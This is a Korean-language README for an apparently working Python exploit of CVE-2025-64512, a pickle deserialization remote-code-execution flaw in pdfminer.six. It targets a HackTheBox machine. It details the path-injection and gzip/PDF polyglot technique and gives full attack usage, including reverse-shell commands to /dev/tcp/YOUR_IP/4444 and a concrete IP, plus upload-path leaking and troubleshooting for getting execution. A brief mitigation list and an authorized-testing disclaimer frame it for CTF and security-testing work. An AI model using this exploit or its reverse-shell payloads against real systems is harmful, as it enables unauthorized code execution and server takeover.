
CVE-2025-64512에 대한 Python PoC로, pdfminer.six의 pickle 역직렬화 RCE 취약점입니다. gzip으로 압축된 pickle 페이로드와 폴리글랏 PDF를 생성한 뒤, 승인된 테스트를 위해 업로드 포털로 전달합니다.
Python 3, 표준 라이브러리만 사용 (pip 설치 없음). 승인된 보안 테스트 및 CTF 용도로만 사용하십시오 — 법률 및 계약의 교전 규칙을 준수할 책임은 사용자에게 있습니다.
| CVE | CVE-2025-64512 |
| 영향받는 버전 | pdfminer.six < 20251107 (20251107에서 수정됨 — CMaps가 JSON으로 변경됨) |
| 다운스트림 피해자 | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| 유형 | CWE-502 신뢰할 수 없는 데이터의 역직렬화 → 인증 없는 RCE |
| 참조 PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (단일 파일 polyglot 변형) |
테스트 대상: https://app.hackthebox.com/machines/Bedside
pdfminer.six는 PDF에서 텍스트를 추출하는 데 널리 쓰이는 Python 라이브러리입니다. PDF 폰트는
문자 코드를 유니코드로 변환하는 테이블인 CMaps가 필요하며, pdfminer는 이를
자체 패키지 내부에 gzip으로 압축된 pickle (<name>.pickle.gz) 형태로 포함합니다.
CMap이 어떻게 로드되는지 보십시오 (pdfminer/cmapdb.py, 20251107 이전 모든 버전):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # 유일한 정제(sanitization)
filename = "%s.pickle.gz" % name # ← 공격자가 `name`을 제어
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← 절대 경로 name은 디렉터리를 무시!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
세 가지 결함이 겹칩니다:
name은 PDF 자체에서 옵니다. Type0 (CID) 폰트의 /Encoding 항목은
PDF _name_이며, 공격자가 완전히 제어합니다. PDF name은 원시 /를 포함할 수 없으므로
RFC 표준 hex 이스케이프로 작성됩니다: name
/#2f#76#61#72#2f…는 /var/…로 디코딩됩니다.os.path.join의 특이 동작. 두 번째 인자가 절대 경로이면 첫 번째 인자는
완전히 무시됩니다. 따라서 /var/www/site/uploads/shell이라는 name은 pdfminer가
자체 CMap 디렉터리 대신 /var/www/site/uploads/shell.pickle.gz — 디스크상의 임의 경로 — 를
찾게 만듭니다.pickle.loads(). pickle은 "이 함수를 호출하여 나를 재구성하라"는
지시(__reduce__)를 담을 수 있습니다. 공격자 바이트를 역직렬화하는 것 = pdfminer를 호출한
프로세스 내부에서 공격자 코드를 실행하는 것입니다.익스플로잇 전제 조건 — 이 버그는 방정식의 양쪽 절반을 모두 제공하는 모든 애플리케이션에서 사소하게 익스플로잇 가능합니다:
{"__reduce__": eval("__import__('os').system('<your command>')")}./Encoding이 당신의 pickle의 절대 경로를 지정합니다.--mode two (기본값) — <name>.pickle.gz를 업로드한 다음 <name>.pdf를 업로드합니다.
대상이 PDF 확장자를 가진 파일만 파싱할 때 사용하십시오
(예: uploads/*.pdf를 glob하는 감시자).--mode polyglot — 하나의 파일 <name>.pickle.gz를 업로드합니다. 이 파일은
유효한 gzip-pickle이자 동시에 유효한 PDF입니다: 전체 PDF가 gzip
헤더의 FCOMMENT 필드에 숨겨져 있습니다 (RFC 1952는 주석을 허용하며, %PDF- 시그니처는
바이트 10에 위치하고, xref 오프셋은 테이블이 유효하게 유지되도록 미리 이동되어 있습니다).
대상이 확장자와 무관하게 업로드된 모든 파일을 PDF로 파싱할 때 사용하십시오
(markitdown 스타일 변환기).--verify), 대상의
처리 주기를 기다리며(--wait), 명령이 실행되기 전에 콜백을 보내는 ()을
앞에 붙일 수 있습니다 — 주 채널이 실패하더라도 실행을 입증할 수 있습니다.설치할 것이 없습니다 — Python 3.10+ (str | None 문법 사용):
chmod +x cve_2025_64512.py
샘플 페이로드를 생성하고 (취약한 pdfminer를 import할 수 있다면) 자신의 Python에서 실행하여 대상에 손대기 전에 체인이 작동함을 입증하십시오:
# selftest를 취약한 pdfminer 체크아웃/휠로 지정 (< 20251107 아무 버전)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
예상 출력은 두 파일 트리거와 polyglot 모두에 대해 SELFTEST PASS로 끝납니다.
수동으로도 테스트할 수 있습니다:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # /tmp/demo.pickle.gz로 배치
pdf2txt.py /tmp/demo-trigger.pdf # 취약한 pdfminer만 해당
cat /tmp/pwned # → 당신의 uid
# 1. 명령의 콜백 채널용 리스너 시작
nc -lvnp 4444
# 2. 익스플로잇 실행 — 업로드 디렉터리를 스스로 발견하게 함
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
전체 인자 참조:
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 & # 리스너
python3 cve_2025_64512.py \
--url http://research.bedside.htb/ \
--path /var/www/research.bedside.htb/uploads \
--verify /uploads --wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"
# → pdfminer 서비스 사용자로 셸 획득 (Bedside에서는 컨테이너 내부의 datawrangler)
pickle.loads, torch.load,
yaml.load는 모두 동일한 버그 클래스입니다. 데이터 전용 형식(JSON, Safetensors, ONNX)을
선호하십시오.X-Powered-By 스타일 헤더를 비활성화하고 일반적인 오류를 반환하십시오 — 둘 다 Bedside에서
재료 목록을 유출했습니다.--callback| 인자 | 목적 |
|---|
--command | 대상에서 실행할 셸 명령 (필수). sh -c로 실행되므로 파이프/리다이렉트/서브셸이 작동합니다. |
--url | multipart POST를 받는 업로드 엔드포인트. |
--upload-url | 업로드가 --url과 다른 URL로 갈 경우 POST 대상을 재정의. |
--field | multipart 필드 이름 (포털의 HTML <form>을 읽으십시오; 흔한 것: uploadFile, file). |
--path | 업로드가 도착하는 절대 서버 측 디렉터리 (예: /var/www/site/uploads). PDF가 여기서 pickle을 지정하므로 정확해야 합니다. |
--leak-path | 경로를 모르십니까? 잘못된 내용을 업로드하고 포털의 오류 메시지에서 긁어내십시오 (많은 포털이 대상을 출력합니다). |
--name | 생성 파일의 기본 이름 (기본값 shell). 재실행 시 오래된 파일을 피하려면 무작위화하십시오. |
--mode | two (기본값) 또는 polyglot — §2 참조. |
--callback URL | 명령 전에 URL로 HTTP fetch를 앞에 붙임; python3 -m http.server 8000을 실행하고 요청을 관찰하십시오. 실행 오라클. |
--wait N | 업로드 후 N초 대기 — 대상의 처리 주기에 맞추십시오 (감시자/cron은 종종 30초마다 폴링; 실패로 단정하기 전에 전체 주기를 기다리십시오). |
--verify /uploads | 이후 각 업로드 파일을 GET하여 PDF가 기대하는 위치에 도착했는지 확인. |
--timeout, --out-dir, --no-upload, --selftest | HTTP 타임아웃, 로컬 출력 디렉터리, 생성 전용 모드, 로컬 리허설. |
| 증상 | 원인 / 해결 |
|---|
업로드 시 MIME type mismatch | 포털이 확장자뿐 아니라 내용도 검사합니다. 두 페이로드 모두 실제 gzip / 실제 PDF입니다 — 잘리지 않았는지 확인하십시오; _트리거_는 %PDF-로 시작해야 하고, pickle은 압축 해제되어야 합니다 (gzip -t). |
| 업로드 OK, 실행 없음 | 1) 감시자/cron 주기 전체를 기다리십시오 (--wait 35). 2) pickle이 <path>/<name>.pickle.gz에서 접근 가능한지 확인하십시오 (--verify). 3) pdfminer를 실행하는 프로세스가 당신의 파일을 읽을 수 있는지 확인하십시오. 4) 확실한 실행 신호를 위해 --callback을 사용하십시오. |
| 업로드 경로를 모름 | --leak-path, 또는 아무 검증 오류나 트리거하고 메시지를 읽으십시오. |
| Polyglot이 트리거되지 않음 | 파싱되는 파일은 .pickle.gz로 끝나는 동일한 파일이어야 합니다. 대상이 *.pdf 업로드만 파싱한다면 --mode two를 사용하십시오. |
대상 로그에 TypeError: type.__new__() argument 3 must be dict | 성공입니다 — pdfminer가 당신의 pickle을 실행한 다음 자체 반환 값에서 걸린 것입니다. 무해합니다. |
| 대상이 패치됨 | pdfminer ≥ 20251107은 CMaps를 JSON에서 로드합니다. 여기서 익스플로잇할 것은 없습니다. |